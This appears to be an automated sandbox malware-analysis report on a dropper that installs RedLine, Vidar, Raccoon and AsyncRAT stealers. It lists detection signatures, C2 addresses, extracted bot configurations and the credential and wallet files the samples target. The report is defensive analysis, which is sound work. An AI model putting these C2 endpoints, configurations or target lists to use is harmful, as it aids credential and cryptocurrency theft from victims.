Process Memory Space: brokerius.exe PID: 5400	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x3548:$a1: BinanceChainWallet 0x12ac2:$a2: wallet.dat 0x1eacb:$a2: wallet.dat 0x2dae:$a3: SOFTWARE\monero-project\monero-core 0x1346f:$b1: CC\%s_%s.txt 0x134a8:$b1: CC\%s_%s.txt 0x1f478:$b1: CC\%s_%s.txt 0x1f4b1:$b1: CC\%s_%s.txt 0x13138:$b2: History\%s_%s.txt 0x13278:$b2: History\%s_%s.txt 0x1f141:$b2: History\%s_%s.txt 0x1f281:$b2: History\%s_%s.txt 0x13124:$b3: Autofill\%s_%s.txt 0x13265:$b3: Autofill\%s_%s.txt 0x1f12d:$b3: Autofill\%s_%s.txt 0x1f26e:$b3: Autofill\%s_%s.txt
Process Memory Space: ffnameedit.exe PID: 2416	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: ffnameedit.exe PID: 2416	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: EU1.exe PID: 1540	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x724b:$a2: wallet.dat 0x14cb5:$a2: wallet.dat 0x7be1:$b1: CC\%s_%s.txt 0x7c1a:$b1: CC\%s_%s.txt 0x1564b:$b1: CC\%s_%s.txt 0x15684:$b1: CC\%s_%s.txt 0x78aa:$b2: History\%s_%s.txt 0x79ea:$b2: History\%s_%s.txt 0x15314:$b2: History\%s_%s.txt 0x15454:$b2: History\%s_%s.txt 0x7896:$b3: Autofill\%s_%s.txt 0x79d7:$b3: Autofill\%s_%s.txt 0x15300:$b3: Autofill\%s_%s.txt 0x15441:$b3: Autofill\%s_%s.txt
Process Memory Space: SETUP_~1.EXE PID: 2708	JoeSecurity_MSIL_Downloader_Generic	Yara detected MSIL_Downloader_Generic	Joe Security
Process Memory Space: SETUP_~1.EXE PID: 2708	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Click to see the 59 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
16.3.F0geI.exe.5a0000.0.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
16.2.F0geI.exe.400000.0.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
18.2.kukurzka9000.exe.400000.0.raw.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
18.2.kukurzka9000.exe.2540174.1.raw.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
16.2.F0geI.exe.590e67.1.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
16.2.F0geI.exe.590e67.1.raw.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
32.2.EU1.exe.1200000.0.unpack	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x38f18:$a2: wallet.dat 0x393a9:$b1: CC\%s_%s.txt 0x390a9:$b2: History\%s_%s.txt 0x39095:$b3: Autofill\%s_%s.txt
19.0.namdoitntn.exe.470000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.0.namdoitntn.exe.470000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
19.0.namdoitntn.exe.470000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x19c98:$pat14: , CommandLine: 0x12cd4:$v2_1: ListOfProcesses 0x12a94:$v4_3: base64str 0x136cf:$v4_4: stringKey 0x1123f:$v4_5: BytesToStringConverted 0x1033a:$v4_6: FromBase64 0x117b2:$v4_8: procName 0x11ac8:$v5_1: DownloadAndExecuteUpdate 0x1296b:$v5_2: ITaskProcessor 0x11ab6:$v5_3: CommandLineUpdate 0x11aa7:$v5_4: DownloadUpdate 0x11eaa:$v5_5: FileScanning 0x11460:$v5_7: RecordHeaderField 0x110c8:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
19.0.namdoitntn.exe.470000.0.unpack	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x13701:$a1: get_encrypted_key 0x12e03:$a2: get_PassedPaths 0x1182a:$a3: ChromeGetLocalName 0x13004:$a4: GetBrowsers 0x19a28:$a5: Software\Valve\SteamLogin Data 0x192c8:$a6: %appdata%\ 0x12b28:$a7: ScanPasswords
21.2.real.exe.1030000.0.unpack	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x372e4:$a2: wallet.dat 0x37701:$b1: CC\%s_%s.txt 0x37475:$b2: History\%s_%s.txt 0x37461:$b3: Autofill\%s_%s.txt
27.2.brokerius.exe.8f0000.0.unpack	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x39138:$a2: wallet.dat 0x395c1:$b1: CC\%s_%s.txt 0x392c9:$b2: History\%s_%s.txt 0x392b5:$b3: Autofill\%s_%s.txt
16.3.F0geI.exe.772d33.16.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
1.3.em1B8DcC72.exe.2a85a14.0.unpack	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x38318:$a2: wallet.dat 0x387a9:$b1: CC\%s_%s.txt 0x384a9:$b2: History\%s_%s.txt 0x38495:$b3: Autofill\%s_%s.txt
18.2.kukurzka9000.exe.2540174.1.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
1.3.em1B8DcC72.exe.2a6ae14.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.3.em1B8DcC72.exe.2a6ae14.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1809c:$pat14: , CommandLine: 0x110d0:$v2_1: ListOfProcesses 0x10e90:$v4_3: base64str 0x11acb:$v4_4: stringKey 0xf63f:$v4_5: BytesToStringConverted 0xe73a:$v4_6: FromBase64 0xfbb2:$v4_8: procName 0xfec8:$v5_1: DownloadAndExecuteUpdate 0x10d67:$v5_2: ITaskProcessor 0xfeb6:$v5_3: CommandLineUpdate 0xfea7:$v5_4: DownloadUpdate 0x102a8:$v5_5: FileScanning 0xf860:$v5_7: RecordHeaderField 0xf4c8:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
1.3.em1B8DcC72.exe.2a6ae14.1.unpack	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x11afd:$a1: get_encrypted_key 0x111ff:$a2: get_PassedPaths 0xfc2a:$a3: ChromeGetLocalName 0x11400:$a4: GetBrowsers 0x17e2c:$a5: Software\Valve\SteamLogin Data 0x176cc:$a6: %appdata%\ 0x10f24:$a7: ScanPasswords
16.3.F0geI.exe.772d33.13.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
27.0.brokerius.exe.8f0000.0.unpack	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x39138:$a2: wallet.dat 0x395c1:$b1: CC\%s_%s.txt 0x392c9:$b2: History\%s_%s.txt 0x392b5:$b3: Autofill\%s_%s.txt
23.0.safert44.exe.c30000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1c60:$pat14: , CommandLine: 0x25b6b:$v2_1: ListOfProcesses 0x25920:$v4_3: base64str 0x265de:$v4_4: stringKey 0x23fa6:$v4_5: BytesToStringConverted 0x23080:$v4_6: FromBase64 0x24537:$v4_8: procName 0x24867:$v5_1: DownloadAndExecuteUpdate 0x257f7:$v5_2: ITaskProcessor 0x24855:$v5_3: CommandLineUpdate 0x24846:$v5_4: DownloadUpdate 0x24cbd:$v5_5: FileScanning 0x241cd:$v5_7: RecordHeaderField 0x23e0e:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
23.0.safert44.exe.c30000.0.unpack	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x26610:$a1: get_encrypted_key 0x25cb8:$a2: get_PassedPaths 0x245af:$a3: ChromeGetLocalName 0x25ec9:$a4: GetBrowsers 0x19f0:$a5: Software\Valve\SteamLogin Data 0x1290:$a6: %appdata%\ 0x259b4:$a7: ScanPasswords
16.2.F0geI.exe.400000.0.raw.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
32.0.EU1.exe.1200000.0.unpack	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x38f18:$a2: wallet.dat 0x393a9:$b1: CC\%s_%s.txt 0x390a9:$b2: History\%s_%s.txt 0x39095:$b3: Autofill\%s_%s.txt
18.2.kukurzka9000.exe.400000.0.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
31.0.ffnameedit.exe.a00000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
31.0.ffnameedit.exe.a00000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x19c9c:$pat14: , CommandLine: 0x12cd0:$v2_1: ListOfProcesses 0x12a90:$v4_3: base64str 0x136cb:$v4_4: stringKey 0x1033a:$v4_6: FromBase64 0x117b2:$v4_8: procName 0x11ac8:$v5_1: DownloadAndExecuteUpdate 0x12967:$v5_2: ITaskProcessor 0x11ab6:$v5_3: CommandLineUpdate 0x11aa7:$v5_4: DownloadUpdate 0x11ea8:$v5_5: FileScanning 0x11460:$v5_7: RecordHeaderField
31.0.ffnameedit.exe.a00000.0.unpack	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x136fd:$a1: get_encrypted_key 0x12dff:$a2: get_PassedPaths 0x1182a:$a3: ChromeGetLocalName 0x13000:$a4: GetBrowsers 0x19a2c:$a5: Software\Valve\SteamLogin Data 0x192cc:$a6: %appdata%\ 0x12b24:$a7: ScanPasswords
16.3.F0geI.exe.5a0000.0.raw.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
16.3.F0geI.exe.772d33.19.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
16.3.F0geI.exe.772d33.1.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
16.3.F0geI.exe.772d33.4.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
24.0.jshainx.exe.7e0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.0.jshainx.exe.7e0000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x19ca8:$pat14: , CommandLine: 0x12ccd:$v2_1: ListOfProcesses 0x12a8d:$v4_3: base64str 0x136d1:$v4_4: stringKey 0x1033a:$v4_6: FromBase64 0x117b2:$v4_8: procName 0x11ac8:$v5_1: DownloadAndExecuteUpdate 0x12964:$v5_2: ITaskProcessor 0x11ab6:$v5_3: CommandLineUpdate 0x11aa7:$v5_4: DownloadUpdate 0x11eab:$v5_5: FileScanning 0x11460:$v5_7: RecordHeaderField
24.0.jshainx.exe.7e0000.0.unpack	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x13703:$a1: get_encrypted_key 0x12dfc:$a2: get_PassedPaths 0x1182a:$a3: ChromeGetLocalName 0x13006:$a4: GetBrowsers 0x19a38:$a5: Software\Valve\SteamLogin Data 0x192d8:$a6: %appdata%\ 0x12b21:$a7: ScanPasswords
16.3.F0geI.exe.772d33.10.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
1.3.em1B8DcC72.exe.2a6ae14.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.3.em1B8DcC72.exe.2a6ae14.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
1.3.em1B8DcC72.exe.2a6ae14.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x574bc:$s5: delete[] 0x19c9c:$pat14: , CommandLine: 0x12cd0:$v2_1: ListOfProcesses 0x12a90:$v4_3: base64str 0x136cb:$v4_4: stringKey 0x1123f:$v4_5: BytesToStringConverted 0x1033a:$v4_6: FromBase64 0x117b2:$v4_8: procName 0x11ac8:$v5_1: DownloadAndExecuteUpdate 0x12967:$v5_2: ITaskProcessor 0x11ab6:$v5_3: CommandLineUpdate 0x11aa7:$v5_4: DownloadUpdate 0x11ea8:$v5_5: FileScanning 0x11460:$v5_7: RecordHeaderField 0x110c8:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
1.3.em1B8DcC72.exe.2a6ae14.1.raw.unpack	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x136fd:$a1: get_encrypted_key 0x12dff:$a2: get_PassedPaths 0x1182a:$a3: ChromeGetLocalName 0x13000:$a4: GetBrowsers 0x19a2c:$a5: Software\Valve\SteamLogin Data 0x192cc:$a6: %appdata%\ 0x12b24:$a7: ScanPasswords
1.3.em1B8DcC72.exe.2a6ae14.1.raw.unpack	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x53b18:$a2: wallet.dat 0x53fa9:$b1: CC\%s_%s.txt 0x53ca9:$b2: History\%s_%s.txt 0x53c95:$b3: Autofill\%s_%s.txt
1.3.em1B8DcC72.exe.2a85a14.0.raw.unpack	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x38f18:$a2: wallet.dat 0x393a9:$b1: CC\%s_%s.txt 0x390a9:$b2: History\%s_%s.txt 0x39095:$b3: Autofill\%s_%s.txt
21.0.real.exe.1030000.0.unpack	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x372e4:$a2: wallet.dat 0x37701:$b1: CC\%s_%s.txt 0x37475:$b2: History\%s_%s.txt 0x37461:$b3: Autofill\%s_%s.txt
16.3.F0geI.exe.772d33.7.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
Click to see the 40 entries

Snort Signatures

ET TROJAN Win32/RecordBreaker CnC Checkin M1 - Source IP: 192.168.2.4 - Destination IP: 45.95.11.158

Timestamp:	192.168.2.445.95.11.15849743802036934 08/23/22-03:42:40.567637
SID:	2036934
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/RecordBreaker CnC Checkin - Server Response - Source IP: 45.95.11.158 - Destination IP: 192.168.2.4

Timestamp:	45.95.11.158192.168.2.480497432036955 08/23/22-03:42:40.732975
SID:	2036955
Source Port:	80
Destination Port:	49743
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/RecordBreaker - Observed UA M1 - Source IP: 192.168.2.4 - Destination IP: 45.95.11.158

Timestamp:	192.168.2.445.95.11.15849743802038485 08/23/22-03:42:40.567637
SID:	2038485
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/RecordBreaker - Observed UA M2 - Source IP: 192.168.2.4 - Destination IP: 45.95.11.158

Timestamp:	192.168.2.445.95.11.15849743802038486 08/23/22-03:42:56.011955
SID:	2038486
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/RecordBreaker - Library Request - Source IP: 192.168.2.4 - Destination IP: 45.95.11.158

Timestamp:	192.168.2.445.95.11.15849743802038487 08/23/22-03:42:56.011955
SID:	2038487
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://62.204.41.126:80	Avira URL Cloud: Label: malware
Source: http://135.181.104.248/1571	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe	Avira: detection malicious, Label: HEUR/AGEN.1251247
Source: C:\Program Files (x86)\Company\NewProduct\safert44.exe	Avira: detection malicious, Label: HEUR/AGEN.1203016
Source: C:\Program Files (x86)\Company\NewProduct\EU1.exe	Avira: detection malicious, Label: HEUR/AGEN.1250598
Source: C:\Program Files (x86)\Company\NewProduct\brokerius.exe	Avira: detection malicious, Label: HEUR/AGEN.1250598
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	Avira: detection malicious, Label: HEUR/AGEN.1210243
Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe	Avira: detection malicious, Label: HEUR/AGEN.1251247
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Avira: detection malicious, Label: HEUR/AGEN.1251247

Multi AV Scanner detection for submitted file

Source: em1B8DcC72.exe	Virustotal: Detection: 60%			Perma Link
Source: em1B8DcC72.exe	ReversingLabs: Detection: 56%

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Company\NewProduct\EU1.exe	ReversingLabs: Detection: 41%
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Metadefender: Detection: 64%	Perma Link
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	ReversingLabs: Detection: 96%
Source: C:\Program Files (x86)\Company\NewProduct\brokerius.exe	ReversingLabs: Detection: 42%
Source: C:\Program Files (x86)\Company\NewProduct\captain09876.exe	Metadefender: Detection: 36%	Perma Link
Source: C:\Program Files (x86)\Company\NewProduct\captain09876.exe	ReversingLabs: Detection: 38%
Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe	Metadefender: Detection: 45%	Perma Link
Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe	ReversingLabs: Detection: 100%
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	ReversingLabs: Detection: 43%
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe	ReversingLabs: Detection: 42%
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	ReversingLabs: Detection: 73%
Source: C:\Program Files (x86)\Company\NewProduct\safert44.exe	ReversingLabs: Detection: 80%

Machine Learning detection for sample

Source: em1B8DcC72.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Company\NewProduct\safert44.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Company\NewProduct\EU1.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Company\NewProduct\brokerius.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Joe Sandbox ML: detected

Source: 18.2.kukurzka9000.exe.2540174.1.raw.unpack	Malware Configuration Extractor: Raccoon {"C2 url": ["http://193.56.146.177"], "Bot ID": "afb5c633c4650f69312baef49db9dfa4", "RC4_key1": "afb5c633c4650f69312baef49db9dfa4"}
Source: 1.3.em1B8DcC72.exe.2a6ae14.1.raw.unpack	Malware Configuration Extractor: RedLine {"C2 url": ["insttaller.com:40915"], "Bot Id": "Molecule JK", "Authorization Header": "abb046f9600c78fd9272c2e96c3cfe48"}

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_00403236 LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,LocalFree,CryptUnprotectData,CryptUnprotectData,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LocalAlloc,LocalAlloc,PathCombineW,CopyFileW,CopyFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,lstrcpy,LocalAlloc,lstrcmp,LocalAlloc,wsprintfW,lstrlenW,lstrlenW,LocalFree,CryptUnprotectData,wsprintfW,lstrlenW,lstrlenW,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,LocalFree,LocalFree,DeleteFileW,LocalFree,	16_2_00403236
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_004027B8 LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,LocalFree,CryptUnprotectData,CryptUnprotectData,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LocalAlloc,LocalAlloc,PathCombineW,CopyFileW,CopyFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,lstrcpy,LocalAlloc,lstrcmp,LocalAlloc,wsprintfW,lstrlenW,lstrlenW,LocalFree,CryptUnprotectData,wsprintfW,lstrlenW,lstrlenW,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,LocalFree,LocalFree,DeleteFileW,LocalFree,	16_2_004027B8
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_00402CB8 LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,LocalFree,CryptUnprotectData,CryptUnprotectData,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,PathCombineW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LocalAlloc,CopyFileW,CopyFileW,DeleteFileW,LocalFree,LocalFree,LocalAlloc,lstrcpy,LocalAlloc,lstrcmp,LocalAlloc,lstrcmpW,wsprintfW,lstrlenW,wsprintfW,lstrlenW,CryptUnprotectData,lstrcmpW,wsprintfW,lstrlenW,wsprintfW,lstrlenW,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	16_2_00402CB8
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_00406468 LocalAlloc,CryptStringToBinaryA,lstrlen,CryptStringToBinaryA,MultiByteToWideChar,LocalAlloc,MultiByteToWideChar,StrCpyW,LocalFree,StrCpyW,StrCpyW,LocalFree,	16_2_00406468
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_004017FA CryptStringToBinaryW,LocalAlloc,CryptStringToBinaryW,LocalFree,	16_2_004017FA
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_0040177F CryptBinaryToStringW,LocalAlloc,CryptBinaryToStringW,StrCpyW,LocalFree,LocalFree,	16_2_0040177F
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_00406468 LocalAlloc,CryptStringToBinaryA,lstrlen,CryptStringToBinaryA,MultiByteToWideChar,LocalAlloc,MultiByteToWideChar,StrCpyW,LocalFree,StrCpyW,StrCpyW,LocalFree,	18_2_00406468
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_004017FA CryptStringToBinaryW,LocalAlloc,CryptStringToBinaryW,LocalFree,	18_2_004017FA
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_0040177F CryptBinaryToStringW,LocalAlloc,VirtualAlloc,CryptBinaryToStringW,StrCpyW,LocalFree,LocalFree,	18_2_0040177F
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_00403236 LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,LocalFree,CryptUnprotectData,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LocalAlloc,LocalAlloc,PathCombineW,CopyFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,lstrcpy,LocalAlloc,lstrcmp,LocalAlloc,wsprintfW,lstrlenW,lstrlenW,LocalFree,CryptUnprotectData,wsprintfW,lstrlenW,lstrlenW,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,LocalFree,LocalFree,DeleteFileW,LocalFree,	18_2_00403236
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_004027B8 LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,LocalFree,CryptUnprotectData,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LocalAlloc,LocalAlloc,PathCombineW,CopyFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,lstrcpy,LocalAlloc,lstrcmp,LocalAlloc,wsprintfW,lstrlenW,lstrlenW,LocalFree,CryptUnprotectData,wsprintfW,lstrlenW,lstrlenW,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,LocalFree,LocalFree,DeleteFileW,LocalFree,	18_2_004027B8
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_00402CB8 LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,LocalFree,CryptUnprotectData,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,PathCombineW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LocalAlloc,CopyFileW,DeleteFileW,LocalFree,LocalFree,LocalAlloc,lstrcpy,LocalAlloc,lstrcmp,LocalAlloc,lstrcmpW,wsprintfW,lstrlenW,wsprintfW,lstrlenW,CryptUnprotectData,lstrcmpW,wsprintfW,lstrlenW,wsprintfW,lstrlenW,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	18_2_00402CB8

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Unpacked PE file: 16.2.F0geI.exe.400000.0.unpack
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Unpacked PE file: 18.2.kukurzka9000.exe.400000.0.unpack

Source: em1B8DcC72.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 148.251.234.83:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.22.1.232:443 -> 192.168.2.4:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.4:49830 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\GoogleUpdater

Jump to behavior

Source:	Binary string: freebl3.pdb source: freebl3.dll.16.dr
Source:	Binary string: wextract.pdb source: captain09876.exe, 0000001D.00000002.849810526.00007FF7BC519000.00000002.00000001.01000000.0000000E.sdmp, captain09876.exe, 0000001D.00000000.403901022.00007FF7BC519000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: wextract.pdbGCTL source: captain09876.exe, 0000001D.00000002.849810526.00007FF7BC519000.00000002.00000001.01000000.0000000E.sdmp, captain09876.exe, 0000001D.00000000.403901022.00007FF7BC519000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: C:\wiroguzaxun\lefereyocimuwu-fep\22\wipo\57_so.pdb source: F0geI.exe, 00000010.00000000.367471922.0000000000401000.00000020.00000001.01000000.00000004.sdmp
Source:	Binary string: mozglue.pdb@+ source: mozglue.dll.16.dr
Source:	Binary string: C:\Soboya xola sikine\nalac\Lohoc\Docamap.pdbp` source: ordo_sec666.exe.1.dr
Source:	Binary string: mozglue.pdb source: mozglue.dll.16.dr
Source:	Binary string: C:\Soboya xola sikine\nalac\Lohoc\Docamap.pdb source: ordo_sec666.exe.1.dr
Source:	Binary string: d:\agent\_work\2\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.16.dr
Source:	Binary string: d:\agent\_work\2\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.16.dr

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe

Code function: 16_2_0040ABD8 LocalAlloc,LocalFree,LocalAlloc,GetLogicalDriveStringsW,GetLogicalDriveStringsW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,

16_2_0040ABD8

Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\
